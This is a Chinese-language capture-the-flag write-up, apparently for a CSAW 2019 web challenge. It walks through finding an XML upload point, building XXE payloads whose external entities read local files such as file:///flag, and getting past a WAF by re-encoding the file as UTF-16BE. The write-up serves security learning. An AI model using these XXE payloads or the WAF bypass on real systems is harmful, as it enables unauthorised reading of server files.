Home没有什么可看的,只有一行字
    image.png
    User
    image.png
    User下有一些用户信息,但是也没什么用
    image.png
    upload下则是有一个上传点,不出意料漏洞应该就在这。
    image.png
    about下写出了flag的位置。

    可以看到upload下有一行

    You can check out the format example here

    点开example后看到一堆xml代码

    1. <users>
    2. <user>
    3. <username>alice</username>
    4. <password>passwd1</password>
    5. <name>Alice</name>
    6. <email>alice@fakesite.com</email>
    7. <group>CSAW2019</group>
    8. </user>
    9. <user>
    10. <username>bob</username>
    11. <password>passwd2</password>
    12. <name> Bob</name>
    13. <email>bob@fakesite.com</email>
    14. <group>CSAW2019</group>
    15. </user>
    16. </users>

    于是就去查询了以下xml相关的漏洞,发现了XXE漏洞,大致思路是通过定义外部实体,通过在xml中引用,打印出外部实体中的内容。

    1. <?xml version="1.0" encoding="ISO-8859-1"?>
    2. <!DOCTYPE foo [
    3. <!ELEMENT foo ANY >
    4. <!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
    5. <creds>
    6. <user>&xxe;</user>
    7. <pass>mypass</pass>
    8. </creds>

    这段xml的作用就是通过定义的xxe实体得到C:/test.dtd的内容。
    知道了利用方式后就可以自己构造xml文件,来得到flag的内容。

    1. <?xml version="1.0"?>
    2. <!DOCTYPE users [
    3. <!ELEMENT users ANY >
    4. <!ENTITY aaa SYSTEM "file:///flag" >]>
    5. <users>
    6. <user>
    7. <username>&aaa;</username>
    8. <password>3</password>
    9. <name>&aaa;</name>
    10. <email>&aaa;</email>
    11. <group>&aaa;</group>
    12. <intro>&aaa;</intro>
    13. </user>
    14. </users>

    上传后,发现被WAF拦截了,继续搜索XXE绕过WAF的方法。
    image.png
    将文件保存为UTF-16BE后,上传文件,得到flag。